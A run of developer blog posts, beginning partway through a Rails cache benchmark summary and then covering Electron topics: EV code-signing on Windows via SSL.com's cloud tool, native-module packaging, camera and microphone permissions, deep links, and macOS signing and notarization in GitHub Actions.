Finally, litecache with sqlite3 delivers exceptional performance, beingapproximately 4x faster in read operations and 2.5x faster in writes compared toRedis, making it the fastest option available for Rails and Ruby applications.

Multithreaded performance

In this test, Redis, Memcache, Valkey, and DiceDB performed similarly to thesingle-thread benchmarks, with slight improvements in write operations. Redismaintained its position as the top performer, continuing to outpace the others.

Unfortunately, SolidCache with PostgreSQL was the slowest option. However, whentuned, it significantly improved write performance, highlighting the importanceof optimizing the database for better results.

Surprisingly, SolidCache with SQLite3 delivered performance on par with Redisalternatives while outperforming a tuned PostgreSQL setup by a factor of two,effectively doubling its speed.

Additionally, LiteCache with SQLite3 outperformed single-thread performance inwrite operations, making it an impressive 4x faster than Redis in both read andwrite operations.

Summary

Its clear that while data stores like Valkey, Dragonfly, and others claimsignificantly better performance than Redis, using them through Rails APIsdoesnt fully leverage those advantages, leading to performance levels similarto Redis.

SolidCache with PostgreSQL offers benefits such as fewer dependencies and easiermaintenance, but it was the slowest performer in this test, with high memoryconsumption. However, if you must use SolidCache with PostgreSQL, tuning it asrecommended by Andrew Atkinson is crucial, as it can notably enhance writeperformance.

On the other hand, SolidCache with SQLite3 was a pleasant surprise, particularlyin the multi-threaded test, where it performed on par with Redis. For adatabase-backed caching solution, this is impressively fast.

Lastly, while LiteCache with SQLite3 is the fastest option, boasting asignificant 4x performance gain, its not recommended for several reasons.First, it doesnt yet support Rails 8 (we used a forked branch for this test).Second, the litestack gem required forthis comes bundled with a variety of additional addons, such as LiteJob,LiteCable, and others. Adding this entire suite of packages just for LiteCachedoesnt make sense. Finally, since the package is still new and in its earlystages, we would not recommend using it for production applications.

Code-signing allows Windows to verify the identity of an application'spublisher, making it authentic and trustworthy. Additionally, code-signing helpsapplications comply with Windows security policies, avoiding warnings andinstallation blocks, ultimately building user confidence and providing asmoother, safer experience.

What is code-signing?

At its core, code-signing involves using a cryptographic hash function to createa unique digital fingerprint of the code. This fingerprint and a certificatefrom a trusted Certificate Authority (CA) form the digital signature. When usersdownload and run the software, their operating system or browser checks thedigital signature to verify its authenticity.

There are two types of certificates we can use to sign a Windows application:

• Code-signing Certificate
• EV Code-signing Certificate

A Standard Code-signing Certificate provides our application a baselinelevel of security and trust. While it verifies the software publisher's identityand ensures that the code has not been tampered with since it was signed, thevalidation process is less rigorous than EV certificates. It shows a warningduring installation that goes away once enough users have installed ourapplication and we've built up trust.

Extended Validation (EV) Code-signing Certificates, on the other hand, offerthe highest level of security and trust. These certificates require a morerigorous vetting process by the Certificate Authority (CA) before they areissued, ensuring that the entity requesting the certificate is thoroughlyverified. This process involves verifying the legal, physical, and operationalexistence of the entity, as well as confirming the identity of the individualrequesting the certificate.

Unlike Apple, Microsoft allows developers to purchase these certificates on theopen market. They are typically sold by the same companies that offer HTTPScertificates. Prices can vary, so it's worth shopping around. Some popularresellers include:

• DigiCert code-signing certificate
• Certum EV code-signing certificate
• Entrust code-signing certificate
• SSL.com EV code-signing certificate

Why choose EV code-signing?

Even though EV code-signing certificates are comparatively pricier than standardcode-signing certificates and have a rigorous vetting process. It is importantto note that, effective June 2023, thenew CA/Browser Forum code-signing requirementsis in effect. As a result, publicly trusted Certificate Authorities (CA) willrequire that certificate requestors use an appropriately certified (FIPS 140-2level 2 or Common Criteria EAL 4+) hardware security module (HSM) to protecttheir code-signing private keys. This requirement applies to the issuance ofboth extended validation (EV) certificates and non-EV certificates.

In simple words, what this means is that standard code-signing certificates nolonger provides benefits they provided in the past. Windows will treat ourapplication as completely unsigned and display the equivalent warning dialogs.Another thing to note here is that since certificates are required to be storedon an HSM, the certificate cannot be simply downloaded onto a CI infrastructure.

Cloud-based EV code-signing

In the past, EV code-signing could only be performed using a physical USBdongle. Upon purchasing an EV certificate, the provider would send a physicalUSB device containing the certificate. This method required code-signing to beexecuted from a local machine, which posed flexibility challenges, especiallyfor team environments. Additionally, physical USB dongles are prone to loss ordamage.

As a solution to this, many certificate providers now offer "cloud-based EVsigning," where the signing hardware is housed in their data centers, allowingus to remotely sign code.

In this blog, we will look into how we can remotely EV code-sign a Windowsapplication built using Electron, using SSL.com'seSigner CodeSignTool

Purchase and validate EV certificate from SSL.com

For the NeetoRecord desktop application, we used EV certificate from ssl.com andhence we will use ssl.com as an example in this blog.

Once we sign into SSL.com and purchase theEV code-signing certificate,We need to validate the certificate. For this, we need to fill out the EVsubscriber agreement and EV authorization form. Both of them can bedownloaded fromhere.Also, make sure we have D-U-N-Snumber or equivalent ready before starting the validation process. To know aboutall the requirements in detail, followthis articleor watch this Youtube video.

eSigner and CodeSignTool

eSigner is SSL.com's cloud signing service thatallows remote access to its HSM hardware from anywhere. We can use our SSL.comsigning credentials to access it.

CodeSignTool isa command-line tool for remotely signing various types of scripts like MSIinstallers, Microsoft Authenticode etc., with eSigner EV code-signingcertificates. Hashes of the files are sent to SSL.com for signing so that thecode itself is not sent. This is ideal where sensitive files need to be signedbut should not be sent over the wire for signing. CodeSignTool is also ideal forautomated batch processes for high-volume signings or integration into existingCI/CD pipeline workflows.

Enroll in eSigner

To be able to code-sign the application using eSigner, we need to first enrollin eSigner. To do so,

• Navigate to an issued Code-signing order in our SSL.com account. Note that theorder is labeled eSigner Ready.
• Click one of the download links.
• Create and confirm a 4-digit PIN and click the create PIN button.
• Our certificate will be generated, and after a few moments, a QR code willappear above the certificate downloads table.

When the eSigner QR code is displayed for our certificate, copy and save thesecret code value shown in a safe location. This is the TOTP (time-basedone-time password) secret associated with our eSigner certificate. Just as 2FAauthentication software like Authy can scan this value from the QR code togenerate valid OTPs for code-signing, CodeSignTool can also use it to generateOTPs are automatically generated during the signing process. In the nextsection, we will use this secret code as totp_secret while integrating withCodeSignTool.

For more information, check out these articles:How to Enroll in eSignerandAutomate eSigner EV Code-signing.

Obtain Required Credentials

We need to provide the following credentials to the CodeSignTool for it tosuccessfully connect with eSigner and code-sign the application.

If we haven't purchased a certificate yet and want to try out how it works,SSL.com offerseSigner Demo Credentials and Certificates.

• username
• password
• totp_secret
• credential_id

For username and password, use the same credentials we used to sign in toSSL.com. If needed, we can also add additional users to the same account. Forthe totp_secret, use the secret code we saved during the eSigner enrollmentprocess.

To obtain the credential_id, navigate to the certificate details section onthe SSL.com dashboard. The credential_id will be listed underSIGNING CREDENTIALS.

After acquiring all the credentials, add them to GitHub Secrets with thefollowing names:

• username -> WINDOWS_SIGN_USER_NAME
• password -> WINDOWS_SIGN_USER_PASSWORD
• totp_secret -> WINDOWS_SIGN_USER_TOTP
• credential_id -> WINDOWS_SIGN_CREDENTIAL_ID

Load up these secrets as environment variables in our Github Action workflow.

- name: Publish releases    env:      AWS_ACCESS_KEY_ID: ${{secrets.AWS_ACCESS_KEY}}      AWS_SECRET_ACCESS_KEY: ${{secrets.AWS_SECRET}}      WINDOWS_SIGN_USER_NAME: ${{ secrets.WINDOWS_SIGN_USER_NAME }}      WINDOWS_SIGN_USER_PASSWORD: ${{ secrets.WINDOWS_SIGN_USER_PASSWORD }}      WINDOWS_SIGN_USER_TOTP: ${{ secrets.WINDOWS_SIGN_USER_TOTP }}      WINDOWS_SIGN_CREDENTIAL_ID: ${{ secrets.WINDOWS_SIGN_CREDENTIAL_ID }}    run: npm exec electron-builder -- --publish always -mwl

Integrate CodeSignTool

The Windows version of CodeSignTool is provided as a batch file(CodeSignTool.bat), while the Linux/macOS version is available as a shellscript (CodeSignTool.sh). We can find the download links and more detailsabout CodeSignTool inthis article

For our purposes, we'll be using the shell script. Download the Linux/macOSversion, unzip it, and place it in the root directory of our Electron project.

To integrate the CodeSignTool into the Electron build process, create a script(./scripts/windows-sign.mjs) that runs the CodeSignTool shell script.

import path from "path";import fs from "fs";import childProcess from "child_process";const TEMP_DIR = path.join(__dirname, "../release", "temp");if (!fs.existsSync(TEMP_DIR)) {  fs.mkdirSync(TEMP_DIR);}const sign = file => {  const USER_NAME = process.env.WINDOWS_SIGN_USER_NAME;  const USER_PASSWORD = process.env.WINDOWS_SIGN_USER_PASSWORD;  const CREDENTIAL_ID = process.env.WINDOWS_SIGN_CREDENTIAL_ID;  const USER_TOTP = process.env.WINDOWS_SIGN_USER_TOTP;  if (USER_NAME && USER_PASSWORD && USER_TOTP && CREDENTIAL_ID) {    console.log(`Windows code-signing ${file.path}`);    const { name, dir } = path.parse(file.path);    const tempFile = path.join(TEMP_DIR, name);    const setDir = `cd ./CodeSignTool-v1.3.0`;    const signFile = `./CodeSignTool.sh sign -input_file_path="${file.path}" -output_dir_path="${TEMP_DIR}" -credential_id=${CREDENTIAL_ID}   -username="${USER_NAME}" -password="${USER_PASSWORD}" -totp_secret="${USER_TOTP}"`;    const moveFile = `mv "${tempFile}.exe" "${dir}"`;    childProcess.execSync(`${setDir} && ${signFile} && ${moveFile}`, {      stdio: "inherit",    });  } else {    console.warn(`windows-sign.js - Can't sign file, credentials are missing`);    process.exit(1);  }};export default sign;

The script exports a sign function that accepts an object containing the pathto the file that needs to be signed. It reads all the necessary credentials fromenvironment variables and then passes these credentials along with the filepath.

To finish up, pass this script to the electron-builder configuration.

 "build": {    "productName": "MyProduct",     "win": {      "target": {        "target": "nsis",        "arch": [          "x64"        ]      },      "signingHashAlgorithms": [        "sha256"      ],      "sign": "./scripts/windows-sign.mjs",      "publisherName": "Neeto LLC",      "artifactName": "${productName}-Setup-${version}.${ext}"    }, }

Here, we pass the script path to the win.sign field in the electron-builderconfiguration. Once added, electron-builder will call this script for eachfile that needs to be signed.

Great! With this, we've completed the EV code-signing process for our Windowsapplication. Now, when we run the GitHub Action workflow, it will successfullycode-sign our Windows application.

SSL.com pricing

As mentioned earlier, EV code signing certificates are expensive. SSL.comcharges $349 per year for an EV code signing certificate, with discountsavailable for multi-year purchases. For more information, visit:https://www.ssl.com/certificates/ev-code-signing/buy/.

In addition to the certificate cost, we must also subscribe to the eSigner cloudsigning service, which is a subscription-based service. The Tier 1 plan costs$100 per month and allows a maximum of 10 files to be signed, equating to aminimum of $10 per signing. An Electron application requires four files to besigned per build. This means we can only build an Electron application twice permonth under the Tier 1 plan.

If we need to build the application more than twice per month, we recommendupgrading to Tier 2. This plan costs $300 per month and allows up to 100 filesignings, reducing the cost to $3 per signing. For more information, visit:https://www.ssl.com/guide/esigner-pricing-for-code-signing/

Native modules allow developers to access low-level APIs like hardwareinteraction, native GUI components, or other system-specific features. BecauseElectron applications run across different platforms (Windows, macOS, Linux),native modules must be compiled for each target platform. This can introducechallenges in cross-platform development.

To simplify this process, Electron provides tools likeelectron-rebuild to automate therecompilation of native modules against Electron's custom Node.js environment,ensuring compatibility and stability in the Electron application.

How to use electron-rebuild

electron-rebuild can automatically determine the version of Electron andhandle the manual steps of downloading headers and rebuilding native modules forour app.

To do a manual rebuild, run the below command.

./node_modules/.bin/electron-rebuild// If we are on windows.\node_modules\.bin\electron-rebuild.cmd

This process should be run after each native package is installed. We can addthis command to the postinstall script to automate it.

"scripts": {    "postinstall": "./node_modules/.bin/electron-rebuild"    //...others}

Since Electron uses Chromium browser windows as the user interface, we need toexclude any native modules from being bundled in the renderer process, whichruns inside the browser window. To achieve this, we need to separate frontendmodules from native modules and install them in separate node_modules folders.

Two package.json structure

To tackle this problem, Electron developers started using two package.jsonstructure, where the first one, which sits at the root of the project, includesthe dependencies that are needed for the user interface and all thedevDependencies that are needed to develop, build, and package theapplication.

// root package.json{  "name": "my-app",  "version": "1.0.0",  "description": "A sample application",  "license": "Apache-2.0",  "main": "./src/main/main.mjs",  "dependencies": {    "react": "^18.2.0",    "react-router-dom": "5.3.3"  },  "devDependencies": {    "electron": "^31.2.1",    "electron-builder": "^25.0.1"  }}

And a second package.json file, located at ./app/package.json, includes allthe native dependencies that should only run in a Node.js environment. Theelectron-rebuild postinstall script we discussed should be added to the./app/package.json.

// ./app/package.json{  "name": "my-app",  "version": "1.0.0",  "description": "A sample application",  "license": "Apache-2.0",  "main": "./dist/main/main.js",  "scripts": {    "postinstall": "./node_modules/.bin/electron-rebuild"  },  "dependencies": {    "sqlite3": "^5.1.7",    "sharp": "^0.33.5"  }}

We can add a postinstall script in the root to automatically install thedependencies listed in ./app/package.json when installing the rootpackage.json.

// root package.json{  "name": "my-app",  "version": "1.0.0",  "description": "A sample application",  "license": "Apache-2.0",  "main": "./src/main/main.mjs",  "dependencies": {    "react": "^18.2.0",    "react-router-dom": "5.3.3",  }  "devDependencies": {    "electron": "^31.2.1",    "electron-builder": "^25.0.1",  },  "scripts": {    "postinstall": "yarn --cwd ./app install"  }}

Now, if we run the yarn install from the root, after installing rootdependencies, it will install native dependencies in the app/ folder and thenrebuild the native packages. All in one command.

When building, we should output the frontend bundles to the app/dist folder.This way, when packaging, both our native packages and other dependencies willbe contained within the app folder. Readthis blog tolearn more about how to build and publish an Electron application.

electron-app assets app    node_modules    dist    package.json src node_modules package.json

This approach works well while packaging the app, but during development, howcan we access the native modules? To solve this, we need to create a symlinkfrom app/node_modules to src/main/node_modules. We can create a script tohandle this.

// ./scripts/link-modules.mjsimport fs from "fs";fs.symlinkSync("./app/node_modules", "./src/main/node_modules", "junction");

We can run this script in postinstall as well:

// ./app/package.json{  "name": "my-app",  "version": "1.0.0",  "description": "A sample application",  "license": "Apache-2.0",  "main": "./dist/main/main.js",  "scripts": {    "link-modules": "node ../scripts/link-modules.mjs",    "postinstall": "./node_modules/.bin/electron-rebuild && yarn link-modules"  },  "dependencies": {    "sqlite3": "^5.1.7",    "sharp": "^0.33.5"  }}

Problem with two package.json structure

In most JavaScript projects, metadata such as version, name, anddescription is typically stored in the root package.json. However, in thiscase, when packaging the app, we'll be including ./app/package.json instead ofthe root package.json. This means all metadata should be in./app/package.json rather than in the root file.

This approach poses a challenge, particularly with tasks like automatic versionbumping. When updating the version or other metadata, changes need to be made intwo places, which can lead to inconsistencies.

To simplify this process and avoid maintaining two separate package.jsonfiles, we can dynamically create ./app/package.json, allowing us to manageeverything in one place. Since we cannot add native dependencies directly to theroot dependencies, we can introduce a new field called nativeDependencies.When dynamically generating ./app/package.json, we can copy thenativeDependencies into the dependencies field of ./app/package.json.

This can be accomplished by creating a script to automate the process:

// ./script/create-native-package-json.jsimport fse from "fs-extra";const packageJson = JSON.parse(fse.readFileSync("./package.json", "utf8"));const APP_DIR = "./app/";const releaseJson = {  name: packageJson.name,  version: packageJson.version,  description: packageJson.description,  license: packageJson.license,  author: packageJson.author,  main: "./dist/main/main.js",  scripts: {    postinstall: "/node_modules/.bin/electron-rebuild && yarn link-modules",    "link-modules": "node ../scripts/link-modules.mjs",  },  dependencies: packageJson.nativeDependencies,};fse.mkdirSync(APP_DIR, { recursive: true });fse.writeFileSync(  APP_DIR + "package.json",  JSON.stringify(releaseJson, null, 2));

In the script, we first fetch the root package.json, create a JSON file, andcopy all the metadata. We then update the main field to point to the compiledversion of main.js, copy nativeDependencies into the dependencies, and addthe postinstall script for electron-rebuild and node_modules linking wediscussed earlier.

We can run this script in the root postinstall, so that if we make any changesto package.json, it will be updated in ./app/package.json duringyarn install.

// root package.json"scripts": {    "nativeInstall": "yarn --cwd ./app install",    "postinstall": "node ./script/create-native-package-json.js && yarn nativeInstall",    //...others}

When developing an Electron app, handling permissions for the camera andmicrophone varies from platform to platform. On macOS, apps are denied access tothe camera and microphone by default. To gain access, we must explicitly requestthese permissions from the user. On the other hand, Windows tends to grant thesepermissions to apps by default, although users can manually revoke them throughthe system settings.

Updating entitlement file for Mac

In macOS, applications are run with a limited set of permissions to limitpotential damage from malicious code. Depending on which Electron APIs our appuses, we may need to add additional entitlements to our app's entitlements file.

In macOS applications, entitlements or permissions are specified using a filewith a format like property list (.plist) or XML.

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0">  <dict>    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>    <true/>    <key>com.apple.security.cs.allow-jit</key>    <true/>    <key>com.apple.security.device.camera</key>    <true/>    <key>com.apple.security.device.microphone</key>    <true/>    <key>com.apple.security.device.audio-input</key>    <true/>    <key>com.apple.security.cs.allow-dyld-environment-variables</key>    <true/>  </dict></plist>

For our purpose, we need com.apple.security.device.camera for the camera andcom.apple.security.device.microphone andcom.apple.security.device.audio-input entitlements for the microphone.

Configuring in electron-builder

electron-builder is a popular alternative packagefor building, packaging and distributing Electron applications.

We need to ensure that the path to entitlements.plist is correctly set in theelectron-builder configuration.

 "build": {    "productName": "AppName",    "appId": "com.neeto.AppName",     "mac": {      "target": {        "target": "default",        "arch": [          "arm64",          "x64"        ]      },      "type": "distribution",      "entitlements": "assets/entitlements.mac.plist",    }, }

We also need to provide a description of the camera and microphone's usage inthe Info.plist. We don't have to create an Info.plist when usingelectron-builder; it will create and handle it internally, and any additionalinfo can be passed using the extendInfo key.

 "build": {    "productName": "AppName",    "appId": "com.neeto.AppName",     "mac": {      "target": {        "target": "default",        "arch": [          "arm64",          "x64"        ]      },      "type": "distribution",      "entitlements": "assets/entitlements.mac.plist",      "entitlementsInherit": "assets/entitlements.mac.plist",      "extendInfo": {        "NSMicrophoneUsageDescription": "Please give us access to your microphone",        "NSCameraUsageDescription": "Please give us access to your camera",      },    }, }

The above code will add NSMicrophoneUsageDescription andNSCameraUsageDescription to the Info.plist.

Requesting permission

Electron'ssystemPreferencesmodule exposes events and methods to access and alter system preferences.

Before requesting permission, we can use thesystemPreferences.getMediaAccessStatus method to check if we already have theaccess.

import { systemPreferences } from "electron";const hasMicrophonePermission =  systemPreferences.getMediaAccessStatus("microphone") === "granted";const hasCameraPermission =  systemPreferences.getMediaAccessStatus("camera") === "granted";

For the camera and microphone, if permission is granted, it will returngranted; otherwise, depending on the platform and permission settings, it willreturn not-determined, denied, restricted or unknown.

For Mac, we can use the systemPreferences.askForMediaAccess method torequest permission. This method will return a promise that resolves with trueif consent was granted and false if it was denied.

const cameraGranted = await systemPreferences.askForMediaAccess("camera");const microPhoneGranted = await systemPreferences.askForMediaAccess(  "microphone");

When we call this method, it will open a system alert asking the user to grantpermission.

If the user denies the permission the very first time, this method call will notopen the system alert again. Now, we have to open the system preference pane andask the user to enable it from there.

import { shell } from "electron";const cameraGranted = await systemPreferences.askForMediaAccess("camera");if (!cameraGranted) {  shell.openExternal(    "x-apple.systempreferences:com.apple.preference.security?Privacy_Camera"  );}const microPhoneGranted = await systemPreferences.askForMediaAccess(  "microphone");if (!microPhoneGranted) {  shell.openExternal(    "x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone"  );}

To open the preference pane, we can use theshell module.shell.openExternal can be used to call any external protocol URL.

Here we are opening System preference(x-apple.systempreferences) ->Privacy & Security(com.apple.preference.security) -> Camera(Privacy_Camera)or Microphone(Privacy_Microphone).

Since we asked the user to open the preference pane because the user initiallydenied permission if they chose to enable it this time, we should ask them torelaunch the application. Only then will the updated permission settings takeeffect.

Windows has global settings for controlling the camera and microphone. Thegood thing is that it is enabled by default. But in case the user explicitlydisables it, one thing we can do is open the privacy settings page of the cameraand microphone and ask the user to re-enable it.

const hasMicrophonePermission =  systemPreferences.getMediaAccessStatus("microphone") === "granted";if (!hasMicrophonePermission) {  shell.openExternal("ms-settings:privacy-microphone");}const hasCameraPermission =  systemPreferences.getMediaAccessStatus("camera") === "granted";if (!hasCameraPermission) {  shell.openExternal("ms-settings:privacy-webcam");}

Just like we did for Mac, we use the shell.openExternal method to open theSetting(ms-settings) -> Privacy -> Camera(privacy-webcam) orMicrophone(privacy-microphone).

And we are done! Here is everything put together.

const checkMicrophonePermission = async () => {  const hasMicrophonePermission =    systemPreferences.getMediaAccessStatus("microphone") === "granted";  if (hasMicrophonePermission) return;  if (process.platform === "darwin") {    const microPhoneGranted = await systemPreferences.askForMediaAccess(      "microphone"    );    if (!microPhoneGranted) {      shell.openExternal(        "x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone"      );    }  } else if (process.platform === "win32") {    shell.openExternal("ms-settings:privacy-microphone");  }};const checkCameraPermission = async () => {  const hasCameraPermission =    systemPreferences.getMediaAccessStatus("camera") === "granted";  if (hasCameraPermission) return;  if (process.platform === "darwin") {    const cameraGranted = await systemPreferences.askForMediaAccess("camera");    if (!cameraGranted) {      shell.openExternal(        "x-apple.systempreferences:com.apple.preference.security?Privacy_Camera"      );    }  } else if (process.platform === "win32") {    shell.openExternal("ms-settings:privacy-webcam");  }};

When developing a desktop application, including every feature directly withinthe app is often unnecessary. Instead, we can offload some tasks such aslogin/signup to a web application. And from the web app, create deep-links tothe desktop app. We can also create shareable links that opens specific contenton the app.

In this blog, we are going to discuss how to create deep-links in ourElectron application.

Register a custom protocol

A protocol is a custom URL scheme that an application can handle, similar to howbrowsers handle protocols like http, https, mailto, or ftp. Everyoperating system supports the handling of custom protocols. We can register anapplication as a default handler for a custom protocol with the operatingsystem. Electron provides a simple API to register a default protocol client.

if (process.defaultApp) {  if (process.argv.length >= 2) {    app.setAsDefaultProtocolClient("my-app", process.execPath, [      path.resolve(process.argv[1]),    ]);  }} else {  app.setAsDefaultProtocolClient("my-app");}

The code snippet above is a simple example of registering a default protocolclient. In the example, we registered a custom protocol named my-app with theoperating system. It's important to note that the application must be properlypackaged and installed so that the operating system can correctly handle andlaunch the registered app.

We used process.defaultApp instead of app.isPackaged because Electron allowsus to run a packaged app using the electron . command. In such cases, we needto provide the execution path for the system to recognize the app. However, ifthe app is running in normal mode, simply callingapp.setAsDefaultProtocolClient is sufficient.

Handling custom protocol

Though registering the protocol is simple and the same for every platform, thereare some differences when it comes to handling it.

For macOS, we need to listen to the open-url event.

const handleCustomUrl = url => {  // Handle url};app.on("open-url", (event, url) => {  handleCustomUrl(url);});

On both Windows and Linux, if the application is up and running, asecond-instance event is emitted instead of open-url when a protocol requestis received. This means a new instance of our app will be created. If we want toavoid this behavior and notify the existing instance instead, we'll need toensure the app runs as a single instance. We can achieve this by usingrequestSingleInstanceLock.

const gotTheLock = app.requestSingleInstanceLock();if (!gotTheLock) {  app.quit();}

The above code ensures that our Windows or Linux app runs as a single instance.If a user attempts to open a new instance, that instance will try to acquire thesingle instance lock. If it fails, the newly created instance will simply quit.

const gotTheLock = app.requestSingleInstanceLock();if (!gotTheLock) {  app.quit();} else {  app.on("second-instance", (event, commands, workingDir) => {    handleCustomUrl(commands.pop());  });}

If we successfully acquire the single instance lock, it means we're running thefirst instance of the app. When a user attempts to open another instance,Electron emits a second-instance event to the existing instance. The secondargument of this event contains an array of command-line arguments, and we canretrieve the custom URL from the last item in this array.

We've addressed the case where the app is already running, but what happens ifthe app is completely closed and a protocol request is made? On macOS,there's nothing extra to do; the app will launch, and the open-url event willbe triggered automatically.

However, for Windows and Linux, the behavior is different. Thesecond-instance event won't be triggered since the app is starting for thefirst time. Instead, we can retrieve the custom URL from process.argv, as theapp will start with the protocol URL passed as one of its parameters. To handlethis case, we need to check process.argv when the app is started.

const handleCustomUrl = url => {  // Handle url};app.whenReady().then(() => {  const customUrl = process.argv.find(item => item.startsWith("my-app://"));  if (customUrl) {    handleCustomUrl(customUrl);  }});

Here, when the app is ready, we look for an item in process.argv that startswith our URL scheme (my-app://), if yes we can confirm that this instance isstarted when a protocol request is received.

Great! Here's the complete solution that works across all platforms, whether theapp is already running or not.

if (process.defaultApp) {  if (process.argv.length >= 2) {    app.setAsDefaultProtocolClient("my-app", process.execPath, [      path.resolve(process.argv[1]),    ]);  }} else {  app.setAsDefaultProtocolClient("my-app");}const handleCustomUrl = url => {  // Handle url};app.on("open-url", (event, url) => {  handleCustomUrl(url);});const gotTheLock = app.requestSingleInstanceLock();if (!gotTheLock) {  app.quit();} else {  app.on("second-instance", (event, commands, workingDir) => {    handleCustomUrl(commands.pop());  });}app.whenReady().then(() => {  const customUrl = process.argv.find(item => item.startsWith("my-app://"));  if (customUrl) {    handleCustomUrl(customUrl);  }});

Packaging

On macOS and Linux, this feature is only functional when our app is packaged; itwon't work during development when launching from the command line. To ensureproper functionality, we must update the macOS Info.plist file and the Linux.desktop file to include the new protocol handler when packaging our app. Thisallows the operating system to recognize and handle the custom URLs correctly.

electron-builder handles this internally when packaging the app; We just needto configure the electron-builder accordingly. To learn more about how topackage our app using electron-builder, check outthis blog.

"build": {    "productName": "NeetoRecord",    "appId": "com.neeto.neetoRecord",    "protocols": {      "name": "my-app-protocol",      "schemes": [        "my-app"      ]    },    "win": {...},    "linux": {...},    "mac": {...}}

We can use the protocols field for that, give a name, then pass an array ofURL schemes the app supports, and the rest electron-builder will handle it.

macOS identifies applications that are not code-signed and notarized as beingfrom unknown publishers and blocks their installation. Code-signing allows macOSto recognize the application's creator. Notarization, an additional step,provides extra credibility and security, ensuring a safer experience for users.

What is code-signing?

Code-signing is the process of generating a unique digital fingerprint of thecode using a cryptographic hash function. This fingerprint is combined with acertificate from a trusted Certificate Authority (CA) to create the digitalsignature. When users download or execute the software, the operating systemverifies this signature to confirm its authenticity.

Apple prefers developers to use certificates issued through the Apple DeveloperProgram to sign macOS applications. This is because macOS verifies signaturesagainst Apple's own Certificate Authority. If a third-party certificate is used,macOS might not recognize it as trusted, leading to warnings or blocking theapplication from running due toGatekeeper,Apple's security feature.

Enroll in the Apple developer program

We should enroll in the Apple developer program (which costs $99 per year) tocreate a certificate that we can use to code-sign our application. We can followthis link to know what we needto enroll in the Apple developer program.

Apple certificates

Apple provides two main types of code-signing certificates:

• Developer ID Certificate: Used to sign apps distributed outside the MacApp Store. Apps signed with this can be gatekeeper-approved.
• Mac App Distribution Certificate: Required for submitting apps to the MacApp Store. Apple will re-sign the application after review and approval fordistribution on the Mac App Store.

In this blog, we will look into how to code-sign anElectron application using Developer IDCertificate.

Create a Developer ID certificate

To create a Developer ID certificate, we can follow Apple's detailed guide onhow to create a Developer ID certificate.

Once we've successfully created the certificate and downloaded the .cer file,the next step is to convert this file into a .p12 format.

First, we'll need to convert the .cer file into a .pem format. We can dothis using openssl.

openssl x509 -in certificate.cer -inform DER -out certificate.pem -outform PEM

Then, use the .pem file and our private .key to generate the .p12 file.

openssl pkcs12 -export -out certificate.p12 -inkey certificate-private.key -in certificate.pem

When generating the .p12 file, we'll be prompted to set a password. Save thispassword in a secure location, as we'll need it later when code-signing theapplication.

To use this certificate with our existing GitHub Action workflow to automate thedeployment process, we need to convert this .p12 file into a base64 string.This is necessary because GitHub doesn't allow uploading files as secrets, butwe can store the base64 string instead.

openssl base64 -in certificate.p12 -out certificate.txt

The command will output the base64 version of the .p12 file into acertificate.txt file. We can then add the text contents of this file as asecret in GitHub. Save the base64 string in GitHub secrets with the nameCSC_CONTENT and password as CSC_KEY_PASSWORD

Update Electron build process

To code-sign a macOS app, we just need to pass the certificate and password tothe electron-builder publish command. However,since we saved our certificate as a base64 string, we need to convert it back toa .p12 file before publishing.

 - name: Publish releases    env:      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}      AWS_ACCESS_KEY_ID: ${{secrets.AWS_ACCESS_KEY}}      AWS_SECRET_ACCESS_KEY: ${{secrets.AWS_SECRET}}      CSC_CONTENT: ${{ secrets.CSC_CONTENT }}      CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }}    run: |      echo "$CSC_CONTENT" | base64 --decode > certificate.p12      export CSC_LINK="./certificate.p12"      npm exec electron-builder -- --publish always -mwl

As mentioned above, we first decoded the base64 string back to acertificate.p12 file. We then set the path to this file as CSC_LINK, whichelectron-builder expects.

Great! With everything in place, running this workflow should successfullycode-sign our application.

Notarize

Code-signing allows macOS to recognize the application's creator, but this aloneis insufficient. Users will still see a warning stating, "macOS cannot verifyif the app is free from malware."

To eliminate this warning, we need to notarize our application.Notarizationis a security feature introduced by Apple to ensure that macOS applications aresafe and free of malicious content. It's an additional layer of security thatbuilds on code-signing. The notarization process involves submitting our app toApple for automated security checks. Once notarized, macOS will recognize theapp as trustworthy, ensuring smooth installation and execution on users'systems, even when downloaded from outside the Mac App Store.

To notarize, we need to create an "App-specific password". To create anApp-specific password:

• Sign in to appleid.apple.com
• In the Sign-In and Security section, select App-Specific Passwords.
• Select Generate an app-specific password or select the Add button(+).
• Then give a name for the password and click Create.

A new App-Specific Password will be generated. Save it in a safe place. We willuse this password to notarize our macOS application.

Update Electron build process

Add APPLE_APP_SPECIFIC_PASSWORD, TEAM_ID, and APPLE_ID to GitHub secrets.Then load up these secrets as environment variables along with others in ourGithub Action workflow.

 - name: Publish releases    env:      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}      AWS_ACCESS_KEY_ID: ${{secrets.AWS_ACCESS_KEY}}      AWS_SECRET_ACCESS_KEY: ${{secrets.AWS_SECRET}}      CSC_CONTENT: ${{ secrets.CSC_CONTENT }}      CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }}      TEAM_ID: ${{ secrets.TEAM_ID }}      APPLE_ID: ${{ secrets.APPLE_ID }}      APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_APP_SPECIFIC_PASSWORD }}    run: |      echo "$CSC_CONTENT" | base64 --decode > certificate.p12      export CSC_LINK="./certificate.p12"      npm exec electron-builder -- --publish always -mwl

At the time of writing this, we encountered issues with the built-in notarizefeature of electron-builder, so we created a custom script to handle thenotarization process.

const { notarize } = require("@electron/notarize");const { build } = require("../package.json");const notarizeMacos = async context => {  const { electronPlatformName, appOutDir } = context;  if (electronPlatformName !== "darwin") return;  if (process.env.CI !== "true") {    console.warn("Skipping notarizing step. Packaging is not running in CI");    return;  }  const appName = context.packager.appInfo.productFilename;  await notarize({    tool: "notarytool",    appBundleId: build.appId,    appPath: `${appOutDir}/${appName}.app`,    teamId: process.env.TEAM_ID,    appleId: process.env.APPLE_ID,    appleIdPassword: process.env.APPLE_APP_SPECIFIC_PASSWORD,    verbose: true,  });  console.log("--- notarization completed ---");};exports.default = notarizeMacos;

